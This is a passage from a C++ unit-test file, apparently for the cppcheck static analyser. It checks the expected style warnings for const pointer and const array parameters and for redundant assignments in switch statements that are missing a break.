{}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> 